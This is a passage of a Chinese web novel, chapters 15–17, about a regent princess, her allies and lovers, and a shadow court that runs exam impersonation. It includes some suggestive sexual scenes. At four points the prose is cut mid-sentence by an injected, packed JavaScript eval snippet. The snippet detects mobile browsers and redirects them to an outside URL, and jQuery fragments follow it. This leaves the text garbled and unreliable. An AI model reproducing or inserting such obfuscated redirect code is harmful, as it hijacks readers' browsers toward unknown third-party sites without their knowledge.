“本来天家领导朝廷,朝廷由天家赋予权力领导民间,这是表面看来理所当然的规矩。”沈约顿了顿。 “可是,如果朝廷重臣、四大世家和掌握天下财货流通的商会连成一起,掌控朝廷命脉呢?” “如今由殿下所领导的,便是明处的朝廷。当以上三者掌控朝廷命脉,夺得朝野天下的真正控制权,便是所谓的影子朝廷。” 沈约又是一顿,指了指顾锦卿文章上洋洋洒洒的字。 “或者说,这是顾解元对于我们认知中的那股隐藏势力,给起的名字。” 越长风手托着腮,一边听着,手指一边无意识的打转,秀眉也越蹙越紧。 “当年本宫那好驸马便是在越氏朝廷和影子朝廷之间,选择了影子朝廷。”她轻轻一笑,笑中不无轻蔑之意,笑意却远远不及眼底。 “他们表面上奉废太子为主,实质连废太子也不过是被这个影子朝廷推出来挡箭的傀儡罢了。” “又或者,柳时言当年尚公主,从一开始便是在两边下注。”沈约沉下声音,一本正经的循循善诱:“而显然影子朝廷的赢面更大。” “呵。”沈约是故意在她面前提起柳时言,但他说的这些,越长风又怎会不知? 柳时言是真的喜欢过她,还是只是喜欢她以皇女之身在紫宸殿行走、辅政的权力,越长风永远也不会得到一个答案。他是因为越长风手中权力被收回才会选择影子朝廷一方,还是本来就是以身入局来尚公主,越长风也永远不会知道。 正如她的父皇不让她嫁给柳时言,然后在她一意孤行之后选择放弃她,又是否因为知道了影子朝廷的存在,而为了保护她让她远离影子朝廷的触手,只有长埋帝陵之中的承元帝才会知道真相。 “这些答案,都已经没有意义了。”越长风笑笑,眼帘微垂掩去眸底的一抹悲凉。 “只是在柳郎和废太子死后,我们从前发现那些影子朝廷的苗头都消失不见,四大世家近年势不如前,影子朝廷当真还在?” 沈约轻笑,身子前倾在她耳边轻轻说道:“在不在,长风不是最清楚了?” “要不,为何还要在天下人面前做出与亡夫情深不渝的样子?” 越长风依旧垂着视线,没有看他,也没有回应。她知道在背后控制废太子的那些势力——那些现在被称作影子朝廷的势力——从未因为玄武门之变的失败而消失,而她绝不允许自己的追查在柳时言之死结束,才不得不继续做着缅怀亡夫的戏,装作对柳时言生前暗中所为毫不知情,以免打草惊蛇。 可是,沈约的话带着三分为老不尊的假正经,三分刻意的挑逗,还有三分以为别人听不出来的隐约试探。 不过是想听她把自己想要的答案亲自说出口罢了,那她就偏不说给他听。 所以当越长风的眼帘重新抬起,桃花眼里没有任何私情,嘴上也是:“六年前在玄武门一役之后影子朝廷元气大伤,不仅是因为他们失去了受他们扯线的废太子,和柳郎之死大概也脱不了干系。” “可是如今那些阴沟里的老鼠又重新探出头来,想要刺杀老师、控制科举,那自然是因为——” “影子朝廷有了新的主人,那人还打算重整旗鼓,卷土重来。” 而他们身在明处,窥不见阴沟里的暗角,什么也做不了。 夜幕将降,越长风起身便要走。 沈约负手在后,似乎要忍住不去伸手拦她,干巴巴的问:“殿下不留下用膳再走?” 那副古板正经的样子,几乎便要让她以为自己还在国子监,正在被老师问着功课。 可是她就算再好这口,想起顾锦卿不知在门外等了多久,还是摇了摇头:“本宫有事,还是先走了。” 沈约没有挽留,只是又问:“可要叫常姑姑派人来接?”刻意咬重了常姑姑三个字。 越长风嘴角上扬,上扬的弧度却是越来越冰冷。她静静端详面前男人半晌,才微微启唇:“怎么,老师要管本宫?” “怕我回的不是公主府,而是顾解元名下那座宅子?” 沈约脸色一白,紧抿着唇,欲言又止。 银铃般的笑声自女郎口中发出。 “我说笑的。” ----- 月上梢头。 顾锦卿走在长长的廊道上,廊道四周都是厚厚的石墙,没有窗户不见天日,显然是在地底。 虽是地道,顾锦卿身上也只有薄薄的布衣,他却感觉不到一丝冷意,脚步轻盈,几乎是小跑着的来到地道尽头。 地道的尽头是一道重重的气势宏伟的赤金大门。顾锦卿轻巧敏捷的避开重重陷阱,推开了那道大门。 犹如地下宫殿的大厅里,平常用来隔绝此间主人和所有来客的屏风已被撤下,在大门打开的一刻,顾锦卿的视线与太师椅上坐着的男子直直对上。 “阁主。”顾锦卿走到男子面前,躬身行礼。 “你我之间不必多礼。”顾锦卿口中的“阁主”站起身来,在伸手扶起顾锦卿的一刻,在他身上闻到了一阵不属于他的气味。 不仅不属于他,对阁主来说,更是过于熟悉。 男人的目中掠过一抹阴霾。 顾锦卿才刚重新站起,自是没有发现,径自说着:“今天我见到了主考会试的沈相。” 男子坐回太师椅上,指尖有一下没一下的敲着椅柄:“可是你那位资助人引见?” 顾锦卿点了点头。 “她和沈相……好似交情非浅。” “殷夫人”和沈相之间的眉来眼去逃不过他的眼睛,在顾锦卿的面前他们明明都没有多少交流,他却感觉到两人之间有着微妙的气场,让他不敢当场插足。 可是在背后嘛—— 阁主清亮的嗓音让他骤然回过神来。 “你可知道你那位资助人是谁?” 顾锦卿看着阁主澄澈的双 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15047999|162278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眸,里面无悲无喜,声音里也不含喜怒,仿佛问的问题只是纯粹出于好奇。 他却知道这位阁主并不是那么简单的人。曾经,他不过是自己的邻家哥哥;他从未问过为何在贫民窟里长大的他竟会读书习字,甚至学识渊博不下世家大院里那些名门公子。 后来,他把自己带进了这座地牢。顾锦卿也在那时第一次认识到,在太极宫里的朝廷以外,竟然还有一个朝廷。而这个朝廷,甚至比皇城里的朝廷更加有影响力。 顾锦卿自小才智过人,学习都是举一反三,很快在这座地牢里找到了自己的位置——科举枪替。 科举枪替可谓这个“影子朝廷”维持影响力最重要的一环,朝中多少世家出身的重臣本来并没有科举高中的能力,靠的是枪替代考,自然也就在这阁里留下一辈子的把柄,而整个利益集团也就变得更加密不可分。 顾锦卿当初由这位哥哥带进阁里,而这位哥哥本来也是阁里的榜首枪替。然后他看着哥哥一步一步的爬上高位,进入“影子朝廷”的中心,然后在六年前组织元气大伤的时候,一举夺得整个组织的控制权,坐上了至高无上的阁主之位。然后以迅雷不及掩耳之势铲除异己,再把阁里所有官员、世家和商会的把柄都牢牢掌握在手,让已经被变革派的沈相和摄政长公主削弱的世家更加无法摆脱阁里的控制。 而他,也成为了唯一可以得见阁主真颜的活人。 阁主之于顾锦卿而言,既是带挈他、照顾他的兄长,更是给了他贫民窟以外第二个人生的恩人。顾锦卿对他没有隐瞒,点点头道:“殷姐姐虽然没有亲自证实,但我想……我已经知道了她是谁。” 男人平静无澜的眸子里终于起了一些涟漪,手指漫不经心的动作一下子停了下来。 “哦?” “她在相府,和沈相独处了好一阵子。”顾锦卿想了想,正色道:“我在外面听不见他们之间的对话,但隐约听见了沈相唤她。” 他等了一下,然后一字一顿的说:“常姑姑。” “昭阳长公主府的长史姓常名茵,而殷又通茵,她是……长公主府的常姑姑。” 阁主再次“哦”了一声,嘴角勾起一抹饶有兴味的笑。 他比顾锦卿要清楚得多,所谓的殷夫人并不是长公主府的常姑姑。而且,这位“殷夫人”对亡夫难以忘怀,与老师不清不楚,外面还有不知多少个入幕之宾,如今她勾勾手指,自己视若亲弟和挚友的顾锦卿便会摇着尾巴讨好取悦。 由始至终,她的目光停驻之处,只是没有他这一个人。 见阁主的笑意未及眼底,顾锦卿连忙拍着心口保证:“无论殷姐姐是谁,我也不会忘了自己的使命,阁主放心。” “是阁主给了我锦卿这个名字,也是阁主决定不再做枪替代考的生意,让我们这些见不得光的人可以堂堂正正地以自己的身份踏入考场。” “锦卿绝不敢忘。” 阁主轻轻叹了一口气,摇了摇头:“我只希望你能以自己的名字金榜题名,踏上朝堂。” 他定定的看着面前挚友,终于还是没有告诉他关于资助人的真相。但男人清清冷冷的眉眼之间也终于有了一点真挚的笑意: “去做你想做的事吧。” 15.第 15 章 二月下旬京城里停了雪,大地也逐渐回暖。 二月最后一次大朝会上,一众文臣武将明显也来了火气,吵得宣政殿的温度也硬生生提高了几度。 手握北疆十万兵权的镇北将军当廷指责户部以劣等粗粮滥竽充数、替换军饷,更是暗指户部有人借新政之便私相授受,中饱私囊。 新政是由沈约主理,裴玄话里也不忘对他阴阳怪气,听得男人脸色渐冷,却又不敢在上首坐着的越长风面前发作,只能保持百官之首的素养,缓步出列,请求传召户部尚书问责。 户部尚书百病缠身,行走不便,连宣政殿的大门也已经很久没有进过。这一次他却是被锦衣佩刀的玄武卫一左一右的挟着,就这样给“搀扶”上了大殿。 看见沈约和裴玄两人站在堂前对峙的阵势,户部尚书想到了什么,正要开口,高座上的越长风却没有给他这个机会。 “程尚书年事已高,是时候衣锦还乡了。”她的声音平静无波,甚至带着一丝慵懒,却是不容置啄。 “臣——” 越长风漫不经心的笑笑,没有让他说完。 “若是不想体面的去,横着出去也不是不可。” 户部尚书已是两朝老臣,更是出自四大世家之一的程家,同时也和柳家家主、尚书左仆射有着姻亲关系。没想到越长风对于这位份量不轻的“亲家的亲家”竟是不给一点面子,对四大世家之间的关系网也没有半点忌惮。 一众世家出身的臣子连忙出列劝谏,就连柳家三郎也带着侍御史的名号,一脸义正严词的劝诫长公主应当善待先帝留下的老臣,户部尚书无功也有劳诸如此类,还跪在地上一副无畏无惧、引颈就戮的样子。 越长风心烦不已,摆了摆手正要让玄武卫把人都拖下去了,站在前面的沈约忽然跪了下去。 “臣代程尚书,谢殿下恩典。” 身后一众还在等着沈相带领自己对抗武将体系的文臣:? ? ? 越长风看着沈约闪着星芒的双眼,骤然清醒过来。这些朝臣有哪些人被影子朝廷控制,户部尚书贪墨所得又流向了什么地方,这些她都一概不知。 为了追查下去,这六年来她装也装了,实在不差这么一点时间,也实在不必在这个时候掀桌。 只要再给她一点时间,她终会得到想要的一切。 “沈中书。”越长风坐直身子,正式道。 “臣在。” “程尚书致仕之后,你先处理好军饷事宜,给裴将军和镇北军一个交代。”越长风命令道:“然后给本宫提议新尚书的任命人选。” 她顿了顿,视线从沈约身上移开,目光凌厉的缓缓扫视阶下众臣,仿佛这话并非说予沈约,而是在场所有的文武百官:“本宫不希望再听到这样的事。” 沈约领头跪地,一丝不苟的叩拜:“臣遵旨。” 散朝之后,裴玄再一次被一众武官簇拥着走出殿外,叽叽喳喳的毫不吝啬对他“赢”了文臣派系一次的由衷赞赏。 裴玄再一次推拒了众人去秦楼楚馆不醉无归的邀约,往宫门外走了一圈,直到群臣散去,又绕了一圈回到宣政殿内。他迈开步子走到台阶之下,第一次逾越地走上台阶,看清了阶上的人。 宣政殿上曾经由各地能工巧匠耗费无数黄金宝石铸成的龙椅已被撤去,台阶之上只有一座盘踞了九条猛蛟的檀木宝座。 越长风已经除下冕旒,却依旧戴着与帝王规格相差无几的金冠玉带,半倚在宝座之上,漫不经心的翻着朝臣今天递上的那叠奏折,慵懒之态像极了沐浴日光的大狸猫。 眼尾瞥见裴玄走上前来,越长风眸也不抬,懒懒说道:“裴小将军今天还真是威风啊。” 裴玄在宝座前单膝跪下,仰望时刚好对得上越长风微垂的目光。他试探性的伸出手来,接过越长风手上奏折放在一旁,然后拉着她的手摩挲揉捏。 越长风睥睨着座下男子,明明衣冠楚楚,身上还是披着大将军那套威风凛凛的朝服,她却怎么只是看到了摇尾乞怜的一条大狗狗。 “怎么?”见他眼珠碌碌,一副可怜兮兮的样子,越长风伸手挑起他的下巴。 “不跟本宫说你这次回京的真正目的,引诱本宫亲自开口把你留下,便是为了今天这个目的?” 裴玄乖驯地顺着她的手势抬头,还伸出舌头像热情的大狗狗一样往她放在唇边的拇指一通乱舔。 “末将不是刻意隐瞒。”他定定地看着越长风似笑非笑的双目,声音微微暗哑:“只是……身为镇北将军的我既要为边疆将士向朝廷讨一个公道,但身为裴玄的我却又不想这么快便回去北境。” “所以……徘徊许久,才一直拖到现在。” 越长风呵的轻笑,眼底终于有了一丝笑意,周身的冷凝气息似乎也随即消散大半。 “你倒是帮了本宫一个大忙。那些老奸巨猾的东西,本宫早就想动了,只是文官体系枝节复杂,在朝堂上有了同等的势力支持才好办事。” 越长风的拇指挤进裴玄的双唇之间,肆意勾按刮弄柔嫩饱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“现在,是在这里向本宫求×么?” 裴玄虎躯剧震,本来小麦色的脸已是涨得通红。 “殿下,别……” “别这样说?”越长风歪头,一脸无辜的对上他闪缩的视线。 “可是,裴小将军颤抖得这么厉害,是因为兴奋了吧?” 裴玄羞耻的把脸埋在她的膝上,却被越长风一把扫开。她从宝座上站起身来,轻笑:“自己准备好了,再爬上去。” “在军饷事了回去北疆之前,我们好、好、的、玩个够。” 镇北将军那用来骑马打仗的壮硕大腿禁不住的颤抖,甚至一下软了下去,整个人瘫软在庄严肃穆的宣政殿宝座上。 16.第 16 章 军饷事件最终以户部尚书致仕、朝廷重新向镇北军发放粮饷作结。世家一派主动退让,最后的颜面得以保存;裴玄对十万将士也有了交代,对这个结果尚算满意。除了那些中饱私囊的粮饷还是下落不明,影子朝廷依旧在暗,结果几乎便是皆大欢喜。 而政事堂一致推举的户部尚书继任人选,出乎朝野上下所有人所料的落在了侍郎萧度身上。萧度不只是第一个毫无家族背景的六部尚书,更是第一个由高中科举到跻身三品仅仅用了五年时间的六部尚书,这样的壮举大概也是前无古人。 在新一届科举会试举行前夕,萧度一步登天的仕途更是让一众举子仿佛看到了自己面前的青云梯。在这样热血沸腾的氛围之下,顾锦卿却是异常冷静的踏入了考场。 在他以顾锦卿之名行走于世间之前,尽管因为年纪太小而做不了会试替考,但其实他已经替考过十八场童生试和六场乡试,二十四场全部高中,当中还有两次解元。直到新任阁主决定停止代考生意、让一众枪替以自己的身份去应考科举之后,他除了在卷子上落的是“顾锦卿”的名字以外,和过去那二十四场其实并没有什么不同。 会试前后总共三日,在礼部贡院举行,期间无论是考官还是考生都不得离开贡院,而且贡院内还处处都有玄武卫站岗,以免有人夹带小抄或者串通作弊。 顾锦卿在贡院里看到了不少“熟人”。 由资助人引见的主考官沈约高坐上首,居高临下的检视一众考生,目光如炬仿佛要将在场每一位考生看穿。顾锦卿想起了那日他在相府所问—— “为官之路道阻且长,你更是寒门白衣出身,能走到这一步已经是近乎不可能的事,然而日后面对的艰难和阻滞,比起现在只会有多无少。” “那么,告诉本相,你依旧选择迎难而上,是为了什么?” 顾锦卿问他:“那相爷历尽千帆走到这个位置,是为了什么?” 沈约定定的凝视着他,似乎在认真思考这个问题。过了好一阵子,他才沉声说道:“为了守护……这个天下。” 男人说到守护两字,星眸一角似乎极快的睄了他的“殷姐姐”一下。仿佛他要守护的,不是他口中所说的这个天下,而不过是这个天下之中的一位女郎。 也不知道沈约自己有没有发现自己的小动作,只是继续一本正经的说道:“这个天下需要不断的改变,否则只会走向灭亡,然后破而后立。但是从来既得利益者都不会愿意改变,所以——这个恶人,就不如由本相来做。” 顾锦卿看着这位一人之下万人之上的权臣帝师,在那双沉稳而深邃的黑眸中看见了和自己如出一辙的熊熊烈火。 而顾锦卿自己的答案是,为了证明这个世道还有得救。为了证明他对于“改变”和“摧毁”的想法是对的。 为了……向他视为兄长的阁主证明。证明这个世道的腐朽还可以从体制内而改变,无需摧毁一切,然后破而后立。 他不敢想像,如果阁主真的走到了最后一步,作为摄政长公主左右手的“常茵”会有怎样的下场。 顾锦卿还不知道他的资助人便是长公主府的常茵之前,自然不会在乎那些既得利益者的生死下场。可是现在他也有他的想法,也有他想要守护的人和事。 他看着时务卷上关于沈约新政的命题,洋洋洒洒的写下一页又一页,和那日在茶馆辩论时所说不同,全部都是出于本心的、充满建设性的见解。 大概是那张时务卷真的让他灌注了太多精力,三日考试下来,在考场出入了一辈子的顾锦卿竟是精疲力尽,在写完第三天的诗赋卷后,终于交卷离场的时候只觉手软脚软,几乎连路也要走不稳了。 顾锦卿步履不稳的走出礼部贡院,在转角处看到了一辆马车,马车上没有任何可以让人辨认身份的图腾或纹路,低调的黑色布幕和马车旁站着的人身上那件玄武卫袍服却让他再熟悉不过。 见他第一个从贡院里出来,马车旁站着的玄武卫走上前去,目光倨傲的上下打量了他几眼,才冷冷说道:“我家大人有请。” 顾锦卿直觉感觉到来者不善,可是那句“我家大人”……他记得在“殷姐姐”负伤来到自己宅院里的那一晚,扶着她的便是一个玄武卫。 万一,车上的“大人”是长公主府的常茵大人呢? 顾锦卿深深呼了一口气,在那名玄武卫不屑的目光下踏上马车。 车里正襟危坐的却不是他心中所想的“常茵大人”,而是一个玄袍金冠的冷峻男人。顾锦卿记得他,在两年前的那一晚便是这个名叫“行舟”的男人搀扶着受伤的殷姐姐来到他的院子里。 男人目光如隼,看得他心下一麻,浑身上下极不自在。 “请问……”顾锦卿吞了吞口水,发酸的身子微微颤栗,展露出恰如其分的怯懦:“大人找我,有什么事?” 见他呆呆站立,陆行舟冷笑,伸脚往他的膝盖一扫,浑身无力的儒生便扑通一声跪倒在地。 “顾解元。”玄武司使的压迫感铺天盖地的笼罩下来,男人阴寒的声音像冰椎一样刺向他的咽喉。 “可有听过聚贤阁?” 顾锦卿一脸茫然,眸中是不掺一丝杂质的无辜和无知。 “聚贤阁……是什么?” 他想了想,又问:“大人问我,难道是和殷姐姐有关?” 陆行舟没有说话,只是一动不动的打量着他,似乎想要从青年儒生身上看出一点蛛丝马迹来。 过了不知多久,马车外传来阵阵人声,似乎大部分的举子都已交卷,眼下正是考生大举离场的时候。 陆行舟打了一下响指,外面的玄武卫会意,跳上车夫的位置把马车驶到了僻静的暗巷深处。 顾锦卿还在愣愣的跪着,忽然一把泛着寒光的匕首架在自己的脖子上。 “大人?”他的声音因恐惧而颤抖,一双眼睛像受惊的小狗一般,可怜巴巴的,让人很难不去心生怜惜。 可惜,以严刑逼供著称的玄武司使并不懂得怜惜这两个字。 “玄武卫收到密报,会试之中有人枪替代考,串通作弊,意图蒙混朝廷。” “顾解元又可知道,科举代考这门生意?” 顾锦卿一双小狗眼里水汪汪的,仿佛快要滴出水来,声音也是轻飘飘的,抖个不停:“小生真的不知道什么枪替代考,也没有听过什么聚贤阁。” “小生贫民出身,寒窗苦读十余年,为的只是一个踏入考场的机会,绝对不敢枪替作弊啊!” 青年的眸光十分干净,仿佛没有丝毫作伪。但也像他的背景一样,实在太过干净。陆行舟做了六年玄武司使,对于顾锦卿这样一个锋芒毕露的人来说,拥有这样干净的背景代表什么,他再也清楚不过。 就像惊才绝艳的柳四郎,不该拥有白纸一般的过去。 况且,在两年前越长风的那晚,他分明看见了……当时一副单纯懵懂模样的少年,分明是在勾引他的主上。 陆行舟绝对不会承认他对主上身边的每一个男人都带有偏见;他所做的一切,不过是为了确保主上的安全罢了。 玄武卫在会试的第二晚接到有人枪替代考的密报,可是上面除了一句枪替代考以外什么也没有,消息来源也无法追查。直觉告诉陆行舟此事与越长风一直追查的影子朝廷有关,他深夜孤身来到关着柳十三的玄武卫地牢之中,用了一整晚的时间才终于撬开了他的口,但也不过是得到了三个字。 聚贤阁。 聚贤阁是什么? 柳十三说他不知道,顾锦卿也说他不知道。 但没关系,他总有方法从他想要的人口中得到他想要的答案。 陆行舟收回架在顾锦卿脖子上的匕首,削铁如泥的剑锋已经在青年的脖子上划出了一条血痕。 “请问大人,小生可以走了么?”青年似乎心有余悸,连声音也是怯懦的嗫嚅:“小生真的什么也不知道。” 他顿了一顿:“小生要回去了——殷姐姐说她会在会试之后过来看我。” 陆行舟死死的盯着他,看见了凤眸之中那抹一掠而过的促狭得意。 两年前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15060533|162278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的那一晚,他在屋檐上往下窥探,也曾看见过那样的一抹得意。 陆行舟沉默不语,再次打了一个响指,马车骤然停下。驾车的玄武卫从外面打开车门,直接把车上的柔弱儒生扔了下去。 “考场那边,已经准备好了吧?”陆行舟淡淡问。 “是。”玄武卫恭敬回答,声音不大不小,刚好让被扔下车外的顾锦卿可以听见。 “玄武卫已经把贡院围得水泄不通,所有离开贡院的考生均须验明正身,稍有嫌疑,即刻押进诏狱。” 陆行舟只回了一句“好”,玄武卫坐回车夫的位置,马车出了暗巷,往皇城的方向驶去。 ----- 顾锦卿劫后余生回到崇化坊的小宅院,没过多久他心心念念的“殷姐姐”还真是来了。 “姐姐,殷姐姐。”小狗一边欢快的叫着,一边摆着看不见的长长尾巴,小跑上前拉过女郎的手,雀跃的左右摇摆。 越长风任他拉着,另一只手轻刮他高挺的鼻梁:无奈的笑笑:“考完三天的会试,还不觉累?” 顾锦卿灿然一笑,摇了摇头,拉着她的手走进屋里。 进到屋里之后,一张俊俏无瑕的脸却忽然面露忧色。 他一边一丝不苟的为姐姐冲着茶,一边好像一直在挣扎要不要说些什么,欲言又止几次之后,才试探性的开口:“姐姐……我听说了科举代考的事。” 越长风正在呷着顾锦卿给她斟上的茶,动作一顿,嘴角一勾,却没有多少笑意:“怎么听说了的?” “今日我出考场的时候,见到了好多玄武卫的大人。”顾锦卿嘴角一扁,适时流露出一点点的委屈。 “还见到了姐姐受伤那次,跟在姐姐身边那位大人。” “哦?”越长风放下茶盏,秀眉一扬:“他单独找你了?” 顾锦卿犹豫了一下,跪坐在女郎身边,抬头仰视的时候恰好展露了脖子上细细的新鲜血痕。 越长风看见那道伤口,眸中闪过一抹厉色。 顾锦卿小心翼翼的拉过她的手,轻轻说道:“那位大人问我,知不知道什么是聚贤阁。” “我想他认为我和那个聚贤阁有关。” 越长风从他的手心抽出手指,两指捏住小解元的下巴,俯身下去直直的看进那双看似无辜的眼眸深处。 “那么,小狗觉得,什么是聚贤阁呢?” 越长风问得轻松,仿佛不过是两人之间的又一句闲聊来往,顾锦卿却是手心冒汗,知道他只要答错一句,自己便会掉落万丈深渊。 他故作深思,半晌之后,仿佛是鼓起勇气般,毅然回道:“我猜,那是影子朝廷的名字。” 那篇关于影子朝廷的文章是由他亲手所写,在她面前交给沈约,这些她都知道。如果才名昭著的顾解元在知道科举舞弊一事之后无法把影子朝廷、枪替代考和聚贤阁三者串连在一起,那他绝不是沽名钓誉,而是知道了什么而刻意撒谎。 但纯净无辜的他,一心只想讨好取悦他的资助人,只想在他的资助人面前尽情展露自己,又怎会刻意瞒她呢? 他能把影子朝廷和聚贤阁联想在一处,证明他恰恰不知这两者之间的关系,而不过是接收了他所有可以接收的消息以后,推论出来的合理结果。 越长风紧绷的身体明显一松,嘴角笑意变得慵懒,周身寒凉也仿佛在那一刻消散不少。 她接受了他的说法。 越长风放开顾锦卿的下巴,一只手抚上他的后脑固定住,另一只手拿起刚刚放在桌上的茶盏,轻轻倾斜,温热的茶水便倒在男子脖颈的伤口上,冲去了表面的鲜血,却也留下微红的烫痕。茶水流过白玉般的脖颈,一路流进衣领之中,烫出一条红红的痕迹,也浸透了薄薄的布衣,胸前衣服变得若隐若现,产生了衣冠楚楚的书生和被欺负的美人之间那种微妙的割裂感。 “我的小狗,真的很聪明。”她轻笑出声,指尖沾着茶水涂在他红润的唇上。 “不要理会行舟那些捕风捉影。” “好好准备殿试,为了姐姐做好自己,懂了么?” 17.第 17 章 月上梢头,越长风吃饱喝足后回到长公主府,竟是在走廊上碰到了常茵。 常茵披着斗篷,满面风霜,显然也是刚从外面回来。看见她脖颈上暧昧的印痕,扯出了几乎可以算是猥琐的一抹奸笑。 “殿下好好抚慰过受惊的小解元了?” 越长风:…… 常茵拉着她回到书房,径自一屁股坐在一旁的软榻上。 越长风踢了踢榻脚:“要睡回你自己的院子去睡。” 常茵双目微眯,赖在榻上一动不动,也不说话。 良久,她才长长叹了一口气:“殿下,我好累啊。” “……你今天回过常府了?”越长风的语气硬梆梆的,却不无关心之意。 常茵“嗯”了一声,又是沉吟良久,才说:“当初把我逐出家门的是他,现在常家子弟有难低声下气求我周旋的又是他——” “不愧是我的好父亲。”常茵嘿嘿笑着,笑声却是疲惫不堪,还掺着一丝悲凉。 越长风在榻边坐下,看着这位陪伴十年、比起下属更像是大姐姐的女官。 “如果阿茵想对他们大施惩诫,即管放手去做,当然本宫也乐意代劳。”越长风恶劣的眨眨眼睛,然后摆出一副大义凛然的样子:“反正科举舞弊、欺君妄上都是抄家大罪,要靠枪替代考才能中举的人也是死不足惜的废物。” 常茵禁不住笑出声来,笑着笑着却化成了无奈的苦笑。 “殿下有心了。只是报复倒也不必,毕竟就算没有他们,我和萧度……还是兰因絮果。” 十几年前的常茵还是常家大房的千金,作为四大世家排行第二的常家嫡女,身份尊贵自是不用说,同时也以学识著称,是远近扬名的才女。 就像话本子里的世家贵女那样,常大小姐喜欢了寒门出身、毫无家世的穷书生。常茵出手豪阔,全资资助萧度上私塾、拜先生、考乡试,还偷偷为他置办宅院、为他洗手作羹汤,作为才女的她在萧度读书的时候与他切磋学问,带给他许多从前没有想过的观点论述。 后来,两人之间的关系被常家家主发现。常家家主为了遮羞而急于把常茵嫁给四大世家排行第四的程家长孙,常茵以死相逼,最终自小把她如珠如宝捧在手心的祖父还是心软了一下,把她逐出常家,却也给了她一片海阔天空,自由自在作出属于她自己的选择。 话本子里的大小姐为了穷书生而放弃一切,最终收获爱情,人生圆满。 常茵却在这个时候醒悟了。 当她走出了常府的高墙以外,看到了外面世界的无限可能;当她失去了养尊处优的生活,可以任意施舍的家财,当她不得不真正面对贫贱夫妻的日常琐事,发现自己的世界什么都没有了,只剩下一个她理应深爱的男人。 常茵幡然醒悟。 没有权力的自由,才是真正的桎梏。 她走出了常府的高墙以外,才发现天大地大,女子本来就应该有更多的出路。也发现,无论是父母家族还是坊间话本,都在歌颂爱情、歌颂家庭,但女子本来就没有为了别人付出的义务。 女子也可以恋栈权势,也可以好高骛远。 女子的人生,本来就不该围绕男子而转。 常茵最后向她的祖父求了一个人情。这个人情,把她送了入宫,来到大皇女昭阳公主身边做她的掌事女官。她为公主谋事,助她出入朝堂、协理政务,同时也代表她和萧度注定一别两宽,各行各路。 越长风知道常茵的故事,见她颓然不语,也明白了常家求她帮忙,手中握着的是怎么样的把柄:“阿茵,你其实是要还他们一个人情的,是吗?” 常茵点了点头,这个人情,她大概是要还的。 越长风扶着她坐直身子,收起脸上玩味,眸光全是认真的直视着她。 “阿茵,我可以帮你,让你和常家两不相欠。” 没有说出的潜台词,她知道常茵再是明白不过。 常茵混沌的头脑一下清醒,站起身来,一丝不苟的躬身行礼:“常茵只会欠着殿下,常茵的一切全部属于殿下。” 越长风满意的笑了,重新扶着她坐下,玩味笑道:“其实,本宫也不能真的把四大世家全部抄家流放。” “只是,这场火必须能烧多大便烧得有多大,本宫必须把四大世家逼到绝境,他们才会交出本宫想要的东西。” 她举起三只手指,每说一样,便弯下一只手指。 “朝中官员经代考入仕的名单;镇北军那些军饷的下落;还有,柳家那些地下钱庄的帐簿。” 常茵凝神静息听罢,慎重的点了点头。 “殿下请放心,我会向常家传达殿下的意思。也会用程家被下在诏狱的那些子弟,换取军饷下落。” 至于柳家…… 常茵对上越长风目中恶劣肆慢的笑意,嘴角也不禁勾起会心一笑。 至于柳家,她们可有一场好戏要看了。 ----- ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15065329|162278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会试后的第一天,薛常柳程四大世家共有三十多名士子下狱,枪替代考一案震惊朝野,摄政长公主下旨玄武卫全力追查,像玄武司使陆行舟这样的酷吏更是让人闻风丧胆,一时处处风声鹤唳。 会试后的第三天,常家交上了自家那些枪替入仕的子弟名单。 会试后的第五天,薛家也派人走了一趟玄武卫衙门,不知达成了什么交易,然后那些已经下狱的薛家子弟便没有出来。 会试后的第七天,程家家主、前户部尚书离开京城,同时卸任家主之位。同日新任家主纡尊降贵来到裴府,低声下气求见还在京城的镇北将军。 会试后的第十天,就在会试结果即将放榜之前。 昭阳长公主府外停下了一辆马车。马车的奢华和长公主府的不遑多让,车上绣着的图腾却是摄政长公主的前婆家——柳家所有。 车上走下高挑清瘦的一名男子,男子面容俊美而棱角分明,一身华贵之中不失雅致的月白锦衣,步履不急不缓,每一步都带着矜贵公子的清高优雅。 男子走到高高的朱门之前,玉手微抬,敲响了门上铁环。 门内迟迟没有回应。长公主府的门前已经聚集了不少吃瓜百姓,毕竟堂堂柳氏少主在长公主府门外吃闭门羹的大戏,可不是天天都会在他们面前上演的。 